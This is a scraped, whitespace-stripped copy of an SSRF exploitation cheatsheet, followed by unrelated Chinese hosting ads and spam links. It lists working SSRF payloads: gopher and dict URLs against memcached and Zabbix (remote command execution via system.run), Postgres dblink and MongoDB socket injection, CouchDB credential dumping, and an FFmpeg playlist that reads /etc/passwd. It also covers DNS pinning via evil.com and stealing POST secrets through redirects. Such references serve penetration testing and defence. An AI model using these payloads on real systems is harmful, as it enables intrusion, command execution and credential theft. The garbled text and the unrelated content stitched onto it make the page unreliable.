expressionpastebin.com

pastebin.com  时间:2021-04-05  阅读:()
SSRFbible.
CheatsheetRevision1.
0326Jan2017Authors:@Wallarm@d0znppresearchteamWallarm.
com|lab.
wallarm.
comTryournewproduct.
WallarmFAST:securitytestsfromtraffichttps://wallarm.
com/wallarm-fast/wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApacheweb-serverHTTPparserNginxweb-serverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningDNSpinningraceconditionPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponseConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedwallarm.
com2ExploitsPHP-FPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBRedisCouchDBExploitsFFmpegReferencesToolsResearcheswallarm.
com3BasicsSSRF-ServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytime-baseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
Determinehost-basedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides20-21aboutFDsand22-23aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopen-phpexec()callfromAPI(suchasexec('echo123>&');)youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
wallarm.
com4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenableby--with-curlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp);//echo$resp.
"nn";echo$doc->getElementsByTagName("error")->item(0)->nodeValue;if(libxml_get_errors()!
=null){print_r(libxml_get_errors());}>wallarm.
com9ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/->gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNon-authoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
18.
8.
8.
8(somethingwhitelistedinvalidate_domainfunction)Andthesecondresponsecouldlookslike:evil.
com->127.
0.
0.
1PHPfsockopen()urlparsingtricks3.
php]]>//validfooterforreadableformatwallarm.
com14SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJava-basedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTP-client,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopen-redirect(WASC-38)orresponsesplitting/smuggling(WASC-25,WASC-27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.
307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOK-LWPPHPwallarm.
com15Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/";$ch=curl_init($url);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret");$resp=curl_exec($ch);Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrict;usewarnings;my$b=LWP::UserAgent->new;my$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a';$b->post($u,{'key'=>'secret'});wallarm.
com16ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServer-SideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquitPHP-FPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7.
Payyourattention,it'sreallyusefullattackvector!
wallarm.
com17SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://string-that-you-want-to-add.
evil.
com:514/FirstconfigureDNStoresolvestring-that-you-want-to-add.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:string-that-you-want-to-add.
evil.
com:8000Connection:Keep-AliveSyslogentities:Nov2300:53:50localhostHost:string-that-you-want-to-add.
evil.
com:8000#015Nov2300:53:50localhostConnection:Keep-Alive#015Nov2300:53:50localhost#015It'susefulthingtoexploitalotofmonitoringsystemsbyaclient-sideissueslikeXSS.
Justbecausethedatafromsysloglookslikeaverifieddataforit.
CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#015ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhost-basedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
wallarm.
com18Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarbootPostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpq-connect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion();');wallarm.
com19MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$nc-l8000|hexdump-C000000003b0000002800000000000000d40700000000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')RedisThereisamanycommandsinRediswhichcanhelpswithanSSRFwork:SLAVEOFhostportMIGRATEhostportkey…(MIGRATE192.
168.
1.
346379""05000KEYSkey1key2key3)CONFIGSET.
.
.
wallarm.
com20CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserver-sideJScodeforexample.
Exploitshttp://localhost:5984/_users/_all_docstosteal_usersdatabasewithcredentials:HTTP/1.
1200OKServer:CouchDB/1.
2.
0(ErlangOTP/R15B01)ETag:"BD1WV12007V05JTG4X6YHIHCA"Date:Tue,18Dec201221:39:59GMTContent-Type:text/plain;charset=utf-8Cache-Control:must-revalidate{"total_rows":1,"offset":0,"rows":[{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}]}Thisexampletestedondebianstableinstallationfrompackagewithoutanyadditionalconfiguration.
Toexecuteserver-sideJSwithrestrictions(server-sideJSissandboxed,nonetwork,IOnoraccessoutsidetheprovideddocumentandfunctions)youmayuseViewAPI.
ThistechniquewasdescribedatBHUS11inthispaperforweb-applicationbasedinjection.
Readthisfirst:http://wiki.
apache.
org/couchdb/HTTP_view_APIAttackercouldalsosendrequestsfromCouchDBservertointranetbyusingreplicationfunction(http://docs.
couchdb.
org/en/stable/api/server/common.
html#replicate).
POSThttp://couchdb:5984/_replicateContent-Type:application/jsonAccept:application/json{"source":"recipes","target":"http://ssrf-me:11211/recipes",}wallarm.
com21FFmpegM38ufileformatprovidessomeusefulmacroscalled"EXTINF".
ThismacrosallowsattackertoreadarbitraryfilesanddoSSRFattacks.
Let'slookatsomebeautifulexampleslistedbelow:$catvideo.
mp4#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.
0,concat:http://example.
org/header.
y4m|file:///etc/passwd#EXT-X-ENDLIST$ffmpeg-ivideo.
mp4thumbnail.
png$ffmpeg-ithumbnail.
pngout.
y4m$catout.
y4mYUV4MPEG2W30H30F25:1IpA0:0CmonoFRAME#$FreeBSD:release/10.
0.
0/etc/master.
passwd256366,!
2013-10-1206:08:18Zrpaulo$#root:*:0:0:Charlie&:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-againSuperuser:/root:Originallink:https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/1533367wallarm.
com22References1.
http://en.
wikipedia.
org/wiki/URI_scheme2.
http://en.
wikipedia.
org/wiki/List_of_TCP_and_UDP_port_numbers3.
http://msdn.
microsoft.
com/en-us/library/system.
uri.
scheme.
aspx4.
http://search.
cpan.
org/~gaas/libwww-perl-6.
04/lib/LWP.
pm5.
http://php.
net/manual/en/wrappers.
php6.
http://docs.
oracle.
com/javase/1.
5.
0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.
html7.
http://www.
kernel.
org/doc/man-pages/online/pages/man2/open.
2.
html8.
http://media.
blackhat.
com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.
pdf9.
http://www.
nostarch.
com/download/tangledweb_ch3.
pdfTools1.
https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
cResearches21.
http://www.
shmoocon.
org/2008/presentations/Web%20portals,%20gateway%20to%20information.
ppt2.
http://www.
slideshare.
net/d0znpp/xxe-advanced-exploitation3.
http://www.
slideshare.
net/d0znpp/caro2012-attack-largemodernwebapplications4.
http://media.
blackhat.
com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.
pdf5.
http://erpscan.
com/wp-content/uploads/2012/11/SSRF.
2.
0.
poc_.
pdf6.
http://www.
riyazwalikar.
com/2012/11/cross-site-port-attacks-xspa-part-2.
html7.
http://www.
slideshare.
net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities8.
http://erpscan.
com/press-center/smbrelay-bible-7-ssrf-java-windows-love/9.
https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/15333672Sortedbydatewallarm.
com23

RAKsmart:美国洛杉矶独服,E3处理器/16G/1TB,$76.77/月;美国/香港/日本/韩国站群服务器,自带5+253个IPv4

RAKsmart怎么样?RAKsmart机房即日起开始针对洛杉矶机房的独立服务器进行特别促销活动:低至$76.77/月,最低100Mbps带宽,最高10Gbps带宽,优化线路,不限制流量,具体包括有:常规服务器、站群服务器、10G大带宽服务器、整机机柜托管。活动截止6月30日结束。RAKsmart,美国华人老牌机房,专注于圣何塞服务器,有VPS、独立服务器等。支持PayPal、支付宝付款。点击直达...

raksmart:全新cloud云服务器系列测评,告诉你raksmart新产品效果好不好

2021年6月底,raksmart开发出来的新产品“cloud-云服务器”正式上线对外售卖,当前只有美国硅谷机房(或许以后会有其他数据中心加入)可供选择。或许你会问raksmart云服务器怎么样啊、raksm云服务器好不好、网络速度快不好之类的废话(不实测的话),本着主机测评趟雷、大家受益的原则,先开一个给大家测评一下!官方网站:https://www.raksmart.com云服务器的说明:底层...

香港 1核1G 29元/月 美国1核 2G 36元/月 快云科技

快云科技: 11.11钜惠 美国云机2H5G年付148仅有40台,云服务器全场7折,香港云服务器年付388仅不到五折 公司介绍:快云科技是成立于2020年的新进主机商,持有IDC/ICP/ISP等证件资质齐全主营产品有:香港弹性云服务器,美国vps和日本vps,香港物理机,国内高防物理机以及美国日本高防物理机官网地址:www.345idc.com活动截止日期为2021年11月13日此次促销活动提供...

pastebin.com为你推荐
京沪高铁上市首秀京沪高铁将有哪些看点?西部妈妈网我爸妈在云南做非法集资了,钱肯定交了很多,我不恨她们。他们叫我明天去看,让我用心的看,,说是什么...嘉兴商标注册怎么查商标注册日期月神谭求几个个性网名:丑福晋男主角中毒眼瞎毁容,女主角被逼当丫鬟,应用自己的血做药引帮男主角解毒的言情小说seo优化工具SEO优化要用到什么软件?www.544qq.COM跪求:天时达T092怎么下载QQwww.mywife.ccMywife-No 00357 MANAMI SAITO种子下载地址有么?求好心人给lcoc.top日本Ni-TOP是什么意思?机器蜘蛛《不思议迷宫》四个机器蜘蛛怎么得 获得攻略方法介绍
域名出售 已备案未注册域名 西安服务器租用 lamp安装 dns是什么 2014年感恩节 日志分析软件 镇江联通宽带 网络空间租赁 umax120 国外视频网站有哪些 优酷黄金会员账号共享 彩虹云 美国凤凰城 lick vul web应用服务器 湖南idc lamp架构 lamp的音标 更多